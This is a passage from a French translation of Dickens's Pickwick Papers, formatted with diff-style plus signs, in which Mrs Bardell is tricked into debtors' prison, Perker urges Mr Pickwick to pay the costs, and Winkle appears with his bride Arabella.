+--Ma chère, dit M. Raddle d'une voix plaintive, je n'avais pas la
+moindre pensée....
+
+--Vous n'aviez pas la moindre pensée, répéta Mme Raddle avec un noble
+dédain. Allez-vous-en; je ne puis plus vous voir; vous êtes une brute.
+
+--Ne vous tourmentez pas, Mary-Ann, interrompit mistress Cluppins. Il
+faut vraiment faire attention à votre santé ma chère, vous n'y songez
+pas assez. Allez-vous-en, Raddle, comme une bonne âme. Elle est toujours
+plus mal quand elle vous Voit.
+
+--Oui, oui, dit Mme Rogers, en appliquant sur nouveaux frais son flacon,
+vous ferez bien de prendre votre thé tout seul, monsieur.»
+
+Mme Sanders qui, suivant sa coutume, était fort occupée du pain et du
+beurre, exprima la même opinion, et Raddle se retira sans souffler mot.
+
+Après cela, les dames s'empressèrent d'élever Master Bardell dans les
+bras de sa mère, mais comme il était un peu grand pour cette manoeuvre
+enfantine, ses bottines s'embarrassèrent dans la table à thé, et
+occasionnèrent quelque confusion parmi les tasses et les soucoupes.
+Heureusement que cette espèce d'attaque, qui est contagieuse chez les
+dames, dure rarement longtemps: aussi, après avoir bien embrassé son
+bambin, après avoir pleuré sur ses cheveux, Mme Bardell revint à elle,
+le remit par terre, s'étonna d'avoir été si peu raisonnable, et se versa
+une autre tasse de thé.
+
+En ce moment, on entendit le roulement d'un carrosse qui s'approchait,
+et les dames, en levant les yeux, virent une voiture de place s'arrêter
+à la porte du jardin.
+
+«Encore du monde, dit Mme Sanders.
+
+--C'est un gentleman, reprit Mme Raddle.
+
+--Eh mais! s'écria Mme Bardell, c'est M. Jackson, le jeune homme de chez
+Dodson et Fogg. Est-ce que M. Pickwick aurait payé les dommages?
+
+--Ou offert le mariage, suggéra Mme Cluppins.
+
+--Comme le gentleman est long à venir! dit Mme Rogers. Pourquoi donc ne
+se dépêche-t-il pas?»
+
+Cependant, M. Jackson, après avoir adressé quelques observations à un
+homme en habit noir râpé, qui venait de descendre du fiacre, et qui
+tenait un gros bâton de frêne, se dirigea vers l'endroit où les dames
+étaient assises, tout en tortillant ses cheveux autour du bord de son
+chapeau.
+
+«Qu'est-ce qu'il y a de nouveau, monsieur Jackson? demanda Mme Bardell
+avec anxiété.
+
+--Rien du tout, madame, répondit Jackson. Comment ça va-t-il, madame? Je
+vous demande pardon, madame, de vous déranger, mais la loi, madame, la
+loi....» En proférant cette apologie, M. Jackson sourit, fit un salut
+commun à toutes les dames, et donna à ses cheveux un autre tour. Mme
+Rogers chuchota à Mme Raddle que c'était réellement un jeune homme bien
+élégant.
+
+«Je suis allé chez vous, reprit Jackson, et en apprenant que vous étiez
+ici, j'ai pris une voiture et je suis venu. Nous avons besoin de vous
+sur-le-champ, madame Bardell.
+
+--Besoin de moi! s'écria la dame, que la soudaineté de cette
+communication avait fait tressaillir.
+
+--Oui, dit Jackson en se mordant les lèvres, c'est une affaire
+très-importante, très-pressante, et qui ne peut pas être remise. Dodson
+me l'a dit expressément et Fogg aussi. Tellement que j'ai gardé la
+voiture pour vous remmener.
+
+--Quelle drôle de chose!» s'écria Mme Bardell.
+
+Toutes les dames convinrent que c'était fort drôle, mais elles furent
+unanimement d'avis que ce devait être fort important; sans quoi Dodson
+et Fogg n'auraient pas envoyé à Hampstead. Enfin elles ajoutèrent que,
+puisque l'affaire était importante, Mme Bardell ferait bien de se rendre
+sur-le-champ à l'étude.
+
+Lorsqu'on est demandé avec une hâte si monstrueuse par son homme
+d'affaires, cela donne un certain degré de relief, qui n'était
+nullement désagréable à Mme Bardell. En effet, elle pouvait
+raisonnablement espérer que cela la rehausserait dans l'opinion de sa
+locataire, elle fit quelques minauderies, affecta beaucoup de vexation
+et d'hésitation, mais elle conclut, à la fin, qu'elle ferait bien de
+s'en aller. Ensuite elle ajouta d'une voix persuasive: «Vous vous
+rafraîchirez bien un peu après votre course, monsieur Jackson?
+
+--Réellement, il n'y a pas beaucoup de temps à perdre; et puis j'ai là
+un ami, répondit Jackson en montrant l'homme au bâton de frêne.
+
+--Oh! mais, monsieur, faites entrer votre ami.
+
+--Mais.... je vous remercie, répliqua Jackson avec quelque embarras. Il
+n'est pas habitué à la société des dames, et cela le rend tout timide.
+Si vous voulez ordonner au garçon de lui porter quelque chose, je ne
+suis pas bien sûr qu'il le boive, mais vous pouvez essayer.» Vers la fin
+de ce discours, les doigts de M. Jackson se jouaient plaisamment autour
+de son nez, pour avertir ses auditeurs qu'il parlait ironiquement.
+
+Le garçon fut immédiatement dépêché vers le gentleman timide, qui
+consentit à prendre quelque chose. M. Jackson prit aussi quelque chose,
+et les dames en firent autant, par pur esprit d'hospitalité. M. Jackson
+ayant alors déclaré qu'il était temps de partir, Mme Sanders, Mme
+Cluppins et Tommy grimpèrent dans la voiture, laissant les autres dames
+sous la protection de M. Raddle. Mme Bardell monta la dernière.
+
+«Isaac, dit alors Jackson, en regardant son ami qui était assis sur le
+siége, et fumait un cigare.
+
+--Eh bien?
+
+--Voilà madame Bardell.
+
+--Oh! il y a longtemps que je le savais.»
+
+Mme Bardell étant entrée dans le carrosse, M. Jackson s'y plaça après
+elle, et les chevaux partirent. Chemin faisant, Mme Bardell admirait la
+perspicacité de l'ami de M. Jackson, «Que ces hommes de loi sont malins!
+pensait-elle; comme ils reconnaissent les gens!»
+
+Au bout de peu de temps Mme Cluppins et Mme Sanders s'étant endormies,
+M. Jackson dit à la veuve du douanier: «Savez-vous que les frais de
+votre affaire sont bien lourds?
+
+--Je suis fâchée que vous ne puissiez pas les faire payer, répondit
+celle-ci. Mais dame! puisque vous entreprenez les choses par
+spéculation, il faut bien que vous buviez un bouillon de temps en temps.
+
+--On m'a dit qu'après le procès, vous aviez donné à Dodson et Fogg un
+_cognovit_ pour le montant des frais.
+
+--Oui, simple affaire de forme.
+
+--Sans doute, répliqua Jackson d'un ton sec. Simple affaire de forme,
+comme vous dites.»
+
+On continuait à rouler, et Mme Bardell s'endormit. Elle se réveilla au
+bout de quelque temps, lorsque la voiture s'arrêta.
+
+«Comment! s'écria-t-elle. Sommes-nous déjà à _Freeman's Court_?
+
+--Nous n'allons pas tout à fait jusque-là, repartit Jackson. Voulez-vous
+avoir la bonté de descendre?»
+
+Mme Bardell obéit machinalement, car elle n'était pas encore
+complètement réveillée. Elle se trouvait dans un drôle d'endroit: un
+grand mur avec une grille au milieu; et, à l'intérieur d'un vestibule,
+un bec de gaz qui brûlait.
+
+--Allons, mesdames! dit l'homme au bâton de frêne en regardant dans la
+voiture et en secouant Mme Sanders pour la réveiller, descendons.»
+
+Mme Sanders ayant poussé son amie, elles descendirent, et Mme Bardell,
+appuyée sur le bras de M. Jackson et conduisant Tommy par la main, était
+déjà entrée sous le porche.
+
+La chambre où les trois dames pénétrèrent ensuite était encore plus
+singulière que l'entrée du bâtiment. Il s'y trouvait tant d'hommes
+debout, et ils regardaient si fixement les ladies!
+
+«Qu'est-ce que c'est donc que cet endroit? demanda Mme Bardell, en
+s'arrêtant.
+
+--C'est une de nos administrations publiques, répondit Jackson, en lui
+faisant passer une porte. Puis se retournant pour voir si les autres
+femmes le suivaient: Attention, Isaac! s'écria-t-il.
+
+--N'ayez pas peur, répondit l'homme au bâton de frêne. La porte se
+referma pesamment sur eux, et ils descendirent un escalier de quelques
+marches.
+
+--Enfin, nous y voilà! s'écria Jackson en regardant d'un air triomphant
+autour de lui, sains et saufs, hein! madame Bardell?
+
+--Qu'est-ce que vous voulez dire? demanda la dame dont le coeur
+palpitait sans qu'elle sût pourquoi.
+
+--Voilà, répondit Jackson en la tirant un peu de côté. Ne vous effrayez
+pas, madame Bardell. Il n'y a jamais eu d'homme plus délicat que Dodson,
+madame, ni plus humain que Fogg. C'était leur devoir, comme hommes
+d'affaires, de vous faire mettre à l'ombre pour ces frais; mais ils
+tenaient beaucoup à ménager votre sensibilité, autant que possible.
+Quelle consolation pour vous de penser comment cela s'est fait! Vous
+êtes dans la prison pour dettes, madame. Je vous souhaite une bonne
+nuit, madame Bardell. Bonsoir, Tommy.»
+
+Ayant dit ces mots, Jackson s'éloigna rapidement avec l'homme au bâton
+de frêne. Un autre individu, qui se trouvait là avec des clefs à la
+main, emmena Mme Bardell, tout éperdue, à un corridor du second étage.
+La malheureuse veuve poussa un cri de désespoir, Tommy l'accompagna d'un
+grognement, Mme Cluppins resta pétrifiée; quant à Mme Sanders, elle
+s'enfuit, sans plus de façon, car M. Pickwick, l'homme innocent et
+opprimé, était là, prenant sa pitance d'air quotidienne, et près de lui
+se tenait Sam Weller qui, en apercevant Mme Bardell, ôta son chapeau
+avec une politesse moqueuse, tandis que son maître indigné faisait une
+pirouette sur le talon.
+
+«Ne la tracassez pas, cette pauvre femme, dit le guichetier à Sam
+Weller, elle ne fait que d'arriver.
+
+--Prisonnière! s'écria Sam en remettant son chapeau avec vivacité. À la
+requête de qui? Pourquoi? Parlez donc, vieux!
+
+--Dodson et Fogg, répondit l'homme. En vertu d'un _cognovit_ pour des
+frais.
+
+--Ici, Job! Job! vociféra Sam en se précipitant le long du corridor,
+courez chez M. Perker, Job; j'ai besoin de lui sur-le-champ. Voilà une
+bonne affaire pour nous, j'espère. Ah! la bonne farce! Hourra! Où est le
+gouverneur?»
+
+Mais personne ne répondit à ces questions, car aussitôt que Job avait
+appris de quoi il s'agissait, il était parti comme un furieux, et Mme
+Bardell s'était évanouie pour tout de bon.
+
+
+
+
+CHAPITRE XVIII.
+
+Principalement dévoué à des affaires d'intérêt et à l'avantage temporel
+de Dodson et Fogg. Réapparition de M. Winkle dans des circonstances
+extraordinaires. La bienveillance de M. Pickwick se montre plus forte
+que son obstination.
+
+
+Job Trotter, sans rien diminuer de sa rapidité, courut tout le long
+d'_Holborn_. Il s'ouvrait un passage tantôt au milieu de la rue, tantôt
+sur le trottoir, tantôt dans le ruisseau, suivant l'endroit où il voyait
+le plus de chances d'avancer à travers la foule de voitures, d'hommes,
+de femmes et d'enfants qui encombraient cette longue rue, et sans se
+soucier d'aucune espèce d'obstacle. Il ne s'arrêta pas une seule
+seconde, tant qu'il n'eut pas atteint la porte de _Gray's Inn_.
+Cependant, malgré toute sa diligence, il y avait une bonne demi-heure
+qu'elle était fermée; lorsqu'il y arriva, et avant qu'il eût découvert
+la femme de ménage de M. Perker, laquelle vivait avec une de ses filles,
+mariée à un garçon de bureau, non résident, qui demeurait à un certain
+numéro, dans une certaine rue, tout auprès d'une certaine brasserie,
+quelque part derrière _Gray's Inn Lane_, il ne s'en fallait plus que de
+quinze minutes que la prison fût fermée pour la nuit. Il était encore
+nécessaire de déterrer M. Lowten dans l'arrière-parloir de la _Pie et la
+Souche_, et Job lui avait à peine communiqué le message de Sam, lorsque
+l'horloge sonna dix heures.
+
+«Ah! ah! dit Lowten; vous ne pourrez pas rentrer cette nuit, il est trop
+tard. Vous avez pris la clef des champs, mon ami.
+
+--Ne vous occupez pas de moi, répliqua Job. Je puis dormir n'importe où;
+mais ne serait-il pas bon de voir M. Perker ce soir pour qu'il puisse
+faire notre affaire demain, dès le matin.
+
+--Voyez-vous, répondit Lowten après avoir réfléchi pendant quelques
+instants; si c'était pour tout autre personne, Perker ne serait pas bien
+charmé que j'allasse le relancer chez lui; mais comme c'est pour M.
+Pickwick, je pense que je puis me permettre le cabriolet aux frais de
+l'étude, pour l'aller trouver.»
+
+S'étant décidé à suivre cette marche, M. Lowten prit son chapeau, pria
+la compagnie de faire occuper le fauteuil par un vice-président, durant
+son absence temporaire, conduisit Job à la place de voitures la plus
+voisine, et choisissant la plus rapide en apparence, donna au cocher
+cette adresse: _Montague-Place, Russell-Square_.
+
+M. Perker avait eu du monde à dîner, comme le témoignaient les lumières
+qu'on apercevait aux fenêtres, le son d'un piano carré _perfectionné_ et
+d'une voix de salon _perfectionnable_, qui s'échappaient des mêmes
+fenêtres, et l'odeur, un peu trop forte de victuaille, qui remplissait
+les escaliers. Le fait est qu'une couple d'excellents agents d'affaires
+de province, étant venus à Londres, en même temps, M. Perker avait
+réuni, pour les recevoir, une agréable société. C'étaient M. Snicks, le
+secrétaire du bureau d'assurances sur la vie; M. Prosant, le célèbre
+avocat; trois avoués, un commissaire des banqueroutes, un avocat spécial
+du Temple, et son élève, petit jeune homme à l'air décidé, qui avait
+écrit sur les lois mortuaires un livre fort amusant, embelli d'un grand
+nombre de notes marginales; enfin, divers autres personnages aussi
+aimables et aussi distingués. Telle était la réunion que quitta le petit
+Perker, lorsqu'on lui eut annoncé à voix basse que son clerc demandait à
+lui parler. Arrivé dans la salle à manger, il y trouva M. Lowten avec
+Job. Une chandelle de cuisine, posée sur la table, éclairait
+médiocrement les deux visiteurs, car le gentleman qui, pour un salaire
+trimestriel, consentait à porter une culotte de peluche, entretenait
+pour le clerc et pour toute la boutique un mépris bien naturel, et
+n'avait pas daigné leur donner d'autres luminaires.
+
+«Eh bien! Lowten, dit le petit Perker en fermant la porte, qu'est-ce
+qu'il y a de nouveau? Quelque lettre importante arrivée dans un paquet?
+
+--Non, monsieur; mais voilà un messager de M. Pickwick.
+
+--De Pickwick, eh? dit le petit homme, et se tournant vivement vers Job.
+Eh bien! qu'est-ce qu'il y a?
+
+--Dodson et Fogg ont fait coffrer Mme Bardell pour les frais de son
+affaire, monsieur.
+
+--Pas possible! s'écria Perker, en mettant ses mains dans ses poches et
+en s'appuyant sur le buffet.
+
+--Il paraît qu'ils se sont fait donner par elle un _cognovit_ aussitôt
+après le jugement.
+
+--Par Jupiter! s'écria Perker en retirant ses mains de ses poches et en
+frappant emphatiquement le dos de la droite dans la paume de la gauche:
+Par Jupiter! ce sont les gaillards les plus habiles que j'aie jamais
+rencontrés.
+
+--Et les plus rusés que j'aie jamais connus, monsieur, ajouta Lowten.
+
+--Je le crois bien, fit Perker; on ne sait par où les prendre.
+
+--C'est très-vrai, monsieur, répondit Lowten. Et tous les deux, alors,
+clerc et avoué, demeurèrent silencieux, pendant quelques minutes, avec
+une physionomie animée, comme s'ils avaient été occupés à réfléchir sur
+l'une des plus belles découvertes qui aient jamais enorgueilli l'esprit
+humain. Lorsqu'ils furent revenus de ce transport d'admiration, Job
+Trotter se déchargea du reste de sa commission. Perker hocha la tête
+d'un air pensif, et tirant sa montre:
+
+«Demain à dix heures précises, j'y serai, dit-il, Sam a tout à fait
+raison: dites-le-lui de ma part. Voulez-vous prendre un verre de vin,
+Lowten?
+
+--Non, monsieur, je vous remercie.
+
+--Vous voulez dire oui, je pense? a reprit le petit homme en prenant une
+bouteille et des verres.
+
+Comme effectivement Lowten voulait dire oui, il n'ajouta rien sur le
+même sujet, mais, s'adressant à Job, il lui demanda à voix basse, assez
+haut cependant pour être entendu de Perker, si son portrait, qui était
+pendu à côté de la cheminée, n'était pas étonnant de ressemblance?
+Nécessairement Job répondit que oui; puis, le vin étant versé, Lowten
+but à la santé de mistress Perker et des enfants, et Job à celle de M.
+Perker. Cependant le gentleman aux culottes de peluche, ne regardant pas
+comme une partie de son devoir de reconduire les gens de l'étude, et ne
+daignant pas répondre à la sonnette, nos deux messagers se
+reconduisirent eux-mêmes. L'avoué rentra dans son salon, le clerc dans
+sa taverne et Job dans le marché de _Covent-Garden_, pour y passer la
+nuit, dans un panier à légumes.
+
+Le lendemain matin, ponctuel à l'heure dite, le brave petit avoué frappa
+à la porte de M. Pickwick. Sam l'ouvrit avec empressement. «Monsieur
+Perker, dit-il à M. Pickwick, qui était assis près de la fenêtre, dans
+une attitude pensive; puis il ajouta: Je suis bien content, monsieur,
+que vous soyez venu par hasard. J'imagine que le gouverneur a quelque
+chose à vous dire.»
+
+Perker fit comprendre à Sam, par un coup d'oeil d'intelligence, qu'il ne
+parlerait pas de son message, et lui ayant fait signe de s'approcher, il
+lui chuchota quelques mots à l'oreille.
+
+«Vraiment, monsieur? c'est-il possible!» s'écria Sam en reculant de
+surprise.
+
+Perker sourit et fit un geste affirmatif. Sam regarda le petit avoué,
+puis M. Pickwick, puis le plafond, puis le petit avoué sur nouveaux
+frais; il sourit, il éclata de rire tout à fait, et finalement,
+ramassant son chapeau, il disparut sans autre explication.
+
+«Qu'est-ce que tout cela signifie? demanda M. Pickwick en regardant
+Perker avec étonnement. Qu'est-ce qui a mis Sam dans un état aussi
+extraordinaire?
+
+--Oh! rien, rien, répliqua le petit homme; mais, mon cher monsieur,
+approchez votre chaise de la table, je vous prie, car j'ai beaucoup de
+choses à vous dire.
+
+--Quels sont ces papiers? demanda M. Pickwick en voyant l'avoué déposer
+sur la table une liasse attachée avec de la ficelle rouge.
+
+--Les papiers de Bardell et Pickwick,» répliqua Perker en dénouant la
+ficelle avec ses dents.
+
+Le philosophe fit grincer les pieds de sa chaise sur le carreau, se
+renversa sur le dossier, croisa ses bras et regarda son avoué avec un
+air sévère, si tant est que M. Pickwick pût prendre un air sévère.
+
+«Vous n'aimez pas à entendre parler de cette affaire? poursuivit le
+petit homme, toujours occupé de son noeud.
+
+--Non, en vérité.
+
+--J'en suis fâché, car ce sera le sujet de notre conversation, et....
+
+--Perker, interrompit précipitamment M. Pickwick, j'aimerais beaucoup
+mieux que ce sujet ne fût jamais mentionné entre nous.
+
+--Bah! bah! mon cher monsieur, répliqua l'avoué en défaisant sa liasse
+et en regardant son client du coin de l'oeil; il est nécessaire que nous
+en parlions. Je suis venu ici exprès pour cela. Êtes-vous prêt à
+entendre ce que j'ai à vous dire, mon cher monsieur? Ne vous pressez
+pas: si vous n'êtes pas encore disposé, je puis attendre. J'ai apporté
+un journal, je serai à vos ordres quand vous voudrez. Voilà. En parlant
+ainsi, le petit homme croisa ses jambes, et parut commencer à lire _le
+Times_ avec beaucoup de tranquillité et d'application.
+
+--Allons, dit M. Pickwick avec un soupir, qui pourtant se termina en un
+sourire; dites tout ce que vous voudrez. C'est encore la vieille
+rengaine, je suppose?
+
+--Avec une différence, mon cher monsieur, répliqua Perker en fermant
+soigneusement le journal et en le remettant dans sa poche. Mme Bardell,
+la demanderesse, est dans ces murs, monsieur.
+
+--Je le sais.
+
+--Très-bien, et vous savez comment elle est venue, je suppose? Je veux
+dire pour quelle cause et à la requête de qui?
+
+--Oui!... c'est-à-dire que j'ai entendu la version de Sam à ce sujet,
+répondit M. Pickwick avec une indifférence affectée.
+
+--Je suis persuadé que la version de Sam était parfaitement correcte Eh
+bien! maintenant, mon cher monsieur, voici la première question que
+j'aie à vous adresser. Cette femme doit-elle rester ici?
+
+--Rester ici! répéta M. Pickwick.
+
+--Rester ici, mon cher monsieur, répliqua Perker en s'appuyant sur le
+dos de la chaise et en regardant fixement son client.
+
+--Pourquoi me demander cela à moi? Cela dépend de Dodson et Fogg, vous
+le savez très-bien.
+
+--Je ne le sais pas du tout, rétorqua M. Perker avec fermeté. Cela ne
+dépend pas de Dodson ni de Fogg; vous connaissez les personnages aussi
+bien que moi, mon cher monsieur. Cela dépend entièrement et uniquement
+de vous.
+
+--De moi! s'écria M. Pickwick en se levant par un mouvement nerveux, et
+en se rasseyant à l'instant même.
+
+Le petit homme frappa deux fois sur le couvercle de sa tabatière,
+l'ouvrit, prit une grosse pincée de tabac, referma la boîte et articula
+ces paroles: «de vous seul.»
+
+«Je dis, mon cher monsieur, poursuivit l'avoué, à qui sa prise semblait
+donner, plus de confiance, je dis que sa libération prochaine, ou son
+éternelle réclusion, dépendent de vous, et de vous seul. Écoutez-moi
+jusqu'au bout, s'il vous plaît, mon cher monsieur; et ne dépensez pas
+tant d'énergie, car cela n'est bon à rien du tout, qu'à vous mettre en
+transpiration. Je dis, continua le petit homme, en établissant chaque
+proposition sur chacun de ses doigts; je dis qu'il n'y a que vous qui
+puissiez la retirer de cet abîme de misère, et que vous ne pouvez faire
+cela qu'en payant les frais du procès, ceux de la demanderesse et ceux
+du défendeur, entre les mains de ces requins de _Freeman's Court_.
+Allons, mon cher monsieur, soyez calme, je vous en prie.»
+
+Pendant ce discours, le visage de M. Pickwick avait subi les changements
+les plus extraordinaires, et il était évidemment sur le point de laisser
+éclater sa foudroyante indignation. Cependant il calma sa rage comme il
+put, et Perker, renforçant son argumentation par une autre prise de
+tabac, poursuivit ainsi qu'il suit:
+
+«J'ai vu cette femme ce matin. En payant les frais, vous pouvez obtenir
+une décharge pleine et entière des dommages, et ce qui sera pour vous,
+j'en suis sûr, un motif beaucoup plus puissant, une confession
+volontaire, écrite par elle, sous la forme d'une lettre à moi adressée,
+et déclarant que, dès le commencement, cette affaire a été imaginée,
+fomentée, et poursuivie par ces individus, Dodson et Fogg; qu'elle
+regrette profondément d'avoir servi d'instrument pour vous tourmenter,
+et qu'elle me prie d'intercéder auprès de vous pour obtenir que vous
+lui pardonniez.
+
+--.... Si je paye les frais pour elle, s'écria M. Pickwick avec
+indignation. Un merveilleux document, en vérité!
+
+--Il n'y a point de _si_ dans l'affaire, mon cher monsieur, reprit
+Perker d'un air triomphant. Voici la lettre même dont je parle. Elle a
+été apportée à mon étude ce matin, à neuf heures, par une autre femme,
+avant que j'eusse mis le pied dans la prison; avant que j'eusse eu
+aucune communication avec Mme Bardell; sur mon honneur! Le petit avoué
+choisit alors dans ses papiers la lettre en question, la posa devant M.
+Pickwick, et se bourra le nez de tabac, durant deux minutes
+consécutives.
+
+--Est-ce là tout ce que vous avez à me dire, demanda doucement M.
+Pickwick.
+
+--Pas tout à fait. Je ne puis pas dire encore si la contexture du
+_cognovit_, et les preuves que nous pourrons réunir sur la conduite de
+toute l'affaire, seront suffisantes pour justifier une accusation de
+captation contre les deux avoués. Je ne l'espère pas, mon cher monsieur;
+ils sont sans doute trop habiles pour cela; mais je dirai du moins que
+ces faits, pris ensemble, seront suffisants pour vous justifier aux yeux
+de tout homme raisonnable. Et maintenant, mon cher monsieur, voilà mon
+raisonnement: ces cent cinquante livres sterling en nombre rond, ne sont
+rien pour vous. Les jurés ont décidé contre vous.... Oui, leur verdict
+est erroné, je le sais; mais cependant ils ont décidé, selon leur
+conscience et contre vous. Or, il se présente une occasion de vous
+placer dans une position bien plus avantageuse que vous ne le pourriez
+faire en restent ici. Car, croyez-moi, mon cher monsieur, pour les gens
+qui ne vous connaissent pas, votre fermeté ne serait qu'une obstination
+brutale, qu'un entêtement criminel. Pouvez-vous donc hésiter à profiter
+d'une circonstance qui vous rend votre liberté, votre santé, vos amis,
+vos occupations, vos amusements; qui délivre votre fidèle serviteur
+d'une réclusion égale à la durée de votre vie, et par-dessus tout qui
+vous permet de vous venger d'une manière magnanime, et tout à fait selon
+votre coeur, en faisant sortir cette femme d'un réceptacle de misère et
+de débauche, où jamais aucun homme ne serait renfermé, si j'en avais le
+pouvoir, mais où l'on ne peut confiner une femme sans une effroyable
+barbarie. Eh bien! mon cher monsieur, je vous le demande non pas comme
+votre homme d'affaires, mais comme votre véritable ami, laisserez-vous
+échapper l'occasion de faire tant de bien, pour cette misérable
+considération que quelques livres sterling passeront dans la poche d'une
+couple de fripons, pour qui cela ne fait aucune sorte de différence, si
+ce n'est que plus ils en auront gagné de cette manière, plus ils
+chercheront à en gagner encore, et par conséquent plus tôt ils seront
+entraînés dans quelque coquinerie, qui finira par une culbute. Je vous
+ai soumis ces observations, mon cher monsieur, très-faiblement,
+très-imparfaitement, mais je vous prie d'y réfléchir. Retournez-les dans
+votre esprit aussi longtemps qu'il vous plaira, j'attendrai patiemment
+votre réponse.»
+
+Avant que M. Pickwick eût pu répliquer, avant que Perker eût pris la
+vingtième partie de tabac qu'exigeait impérativement un si long
+discours, ils entendirent dans le corridor un léger chuchotement, suivi
+d'un coup frappé avec hésitation à la porte.
+
+«Quel ennui! quel tourment! s'écria M. Pickwick, qui avait été
+évidemment ému par le discours de son ami. Qui est là?...
+
+«Moi, monsieur, répondit Sam, en faisant voir sa tête.
+
+--Je ne puis pas vous parler dans ce moment, Sam; je suis en affaire.
+
+--Je vous demande pardon, monsieur, mais il y a ici une dame qui prétend
+qu'elle a quelque chose de très-urgent à vous dire.
+
+--Je ne puis pas la voir, répliqua M. Pickwick, dont l'esprit était
+rempli de visions de Mme Bardell.
+
+--Je ne crois pas ça, reprit Sam en secouant la tête. Si vous saviez
+qu'est-ce qu'est là, j'imagine que vous changeriez de note, comme disait
+le milan en entendant le rouge-gorge chanter dans la haie.
+
+--Qui est-ce donc? demanda M. Pickwick.
+
+--Voulez-vous la voir, monsieur? rétorqua Sam, en tenant la porte
+entr'ouverte, comme s'il avait amené de l'autre côté quelque animal
+curieux.
+
+--Il le faut bien, je suppose, dit le philosophe en regardant, Perker.
+
+--Eh bien! alors, ça va commencer! s'écria Sam. En avant la grosse
+caisse, tirez le rideau. Entrez les deux conspirateurs.»
+
+En parlant ainsi, Sam ouvrit entièrement la porte, et l'on vit
+apparaître M. Nathaniel Winkle conduisant par la main la jeune lady qui,
+à Dingley-Dell, avait porté les brodequins fourrés, et qui maintenant
+formait un séduisant composé de confusion, de dentelles, de rougeur, et
+de soie lilas.
+
+«Miss Arabelle Allen! s'écria M. Pickwick en se levant de sa chaise.
+
+--Non, mon cher ami, madame Winkle, répondit le jeune homme, en tombant
+sur ses genoux. Pardonnez-nous, mon respectable ami, pardonnez-nous.»
+
+M. Pickwick pouvait à peine en croire l'évidence de ses sens, et
+peut-être ne s'en serait-il pas contenté, si leur témoignage n'avait pas
+été corroboré par la physionomie souriante de M. Perker et par la
+présence corporelle de Sam et de la jolie femme de chambre qui, dans le
+fond du tableau, paraissaient contempler avec la plus vive satisfaction
+la scène du premier plan.
+
+«O monsieur Pickwick, dit Arabelle d'une voix tremblante, et comme
+alarmée de son silence. Pouvez-vous me pardonner mon imprudence?»
+
+M. Pickwick ne fit pas de réponse verbale à cette demande, mais il ôta
+précipitamment ses lunettes, et saisissant les deux mains de la jeune
+lady dans les siennes, il l'embrassa un grand nombre de fois (un plus
+grand nombre de fois peut-être qu'il n'était absolument nécessaire);
+ensuite, retenant toujours ses deux mains, il dit à M. Winkle qu'il
+était un coquin bien audacieux, et lui ordonna de se lever. M. Winkle,
+qui depuis quelques minutes grattait son nez avec le bord de son
+chapeau, d'une manière très-repentante, se remit alors sur les pieds; et
+M. Pickwick, après lui avoir tapé plusieurs fois sur le dos, donna une
+poignée de main pleine de chaleur au petit avoué. De son côté, pour ne
+pas rester en arrière dans les compliments qu'exigeait la circonstance,
+le petit homme embrassa de fort bon coeur la mariée et la jolie femme de
+chambre, puis après avoir secoué cordialement la main de M. Winkle,
+compléta sa démonstration de joie en prenant une quantité de tabac
+suffisante pour faire éternuer, durant le reste de leur vie, une
+demi-douzaine de nez ordinaires.
+
+«Eh bien, ma chère enfant, dit M. Pickwick, comment tout cela s'est-il
+passé? Allons, asseyez-vous et racontez-moi votre histoire. Comme elle
+est jolie, Perker! continua l'excellent homme, en examinant le visage
+d'Arabelle, avec autant de plaisir et d'orgueil que si elle avait été sa
+propre fille.
+
+--Délicieuse, mon cher monsieur! Si je n'étais pas marié moi-même, je
+vous porterais envie, heureux coquin, dit Perker en bourrant dans les
+côtes de M. Winkle un coup de poing, que ce gentleman lui rendit
+immédiatement. Après quoi l'un et l'autre se mirent à rire aux éclats,
+mais non pas aussi fort que Sam Weller, car il venait de calmer son
+émotion en embrassant la jolie femme de chambre, derrière la porte d'une
+armoire.
+
+--Sam, dit Arabelle avec le plus doux sourire imaginable, je ne pourrai
+jamais assez vous témoigner ma reconnaissance. Je me souviendrai
+toujours de vos bons services dans le jardin de Clifton.
+
+--Faut pas parler de ça, madame, répondit Sam; je n'ai fait qu'aider la
+nature, comme dit le docteur à la mère de l'enfant qui était mort d'une
+saignée.
+
+--Mary, ma chère, asseyez-vous, dit M. Pickwick en coupant court à ces
+compliments. Et maintenant, combien y a-t-il de temps que vous êtes
+mariés, hein?»
+
+Arabelle regarda d'un air confus son seigneur et maître qui répondit:
+«Seulement trois jours.
+
+--Seulement trois jours! Et qu'est-ce que vous avez donc fait pendant
+ces trois mois-ci?
+
+--Ah, oui! voilà la question! interrompit M. Perker. Comment pouvez-vous
+excuser tant de lenteur? Vous voyez bien que le seul étonnement de
+Pickwick c'est que cela ne se soit pas fait plus tôt.
+
+--Le fait est, répliqua M. Winkle en regardant la jeune femme qui
+rougissait; le fait est que j'ai été longtemps avant de pouvoir
+persuader à Bella de s'enfuir avec moi; et lorsque je suis parvenu à la
+persuader, il s'est passé longtemps avant que nous pussions trouver une
+occasion. D'ailleurs, Mary était obligée de prévenir un mois d'avance,
+avant de quitter sa place, et nous ne pouvions guère nous passer de son
+assistance.
+
+--Sur ma parole, s'écria M. Pickwick, qui avait remis ses lunettes et
+qui contemplait tour à tour Arabelle et M. Winkle, avec l'air le plus
+épanoui que puissent donner à une physionomie humaine la bienveillance
+et le contentement; sur ma parole, vous avez agi d'une manière
+très-systématique. Et votre frère est-il instruit de tout ceci, ma
+chère?
+
+--Oh! non, non! répondit Arabelle en changeant de couleur. Cher monsieur
+Pickwick, c'est de vous seul qu'il doit l'apprendre. Il est si violent,
+si prévenu, et il a été si.... si partial pour son ami M. Sawyer, que je
+redoute affreusement les conséquences.
+
+--Ah! sans aucun doute, ajouta Perker gravement. Il faut que vous vous
+chargiez de cette affaire-là, mon cher monsieur. Ces jeunes gens vous
+respecteront, mais ils n'écouteraient nulle autre personne. Vous seul
+pouvez prévenir un malheur. Des têtes chaudes! des têtes chaudes!» Et le
+petit homme prit une prise de tabac menaçante, en faisant une grimace
+pleine de doute et d'anxiété.
+
+«Mais, mon ange, dit M. Pickwick d'une voix douce, vous oubliez que je
+suis prisonnier?
+
+--Oh! non, en vérité, je ne l'oublie pas! je ne l'ai jamais oublié; je
+n'ai jamais cessé de penser combien vos souffrances devaient être
+grandes, en cet horrible séjour. Mais j'espérais que vous consentiriez à
+faire, pour notre bonheur, ce que vous ne vouliez pas faire pour
+vous-même. Si mon frère apprend cette nouvelle de votre bouche, je suis
+sûre que nous serons réconciliés. C'est le seul parent que j'aie au
+monde, monsieur Pickwick, et si vous ne plaidez pas ma cause, je crains
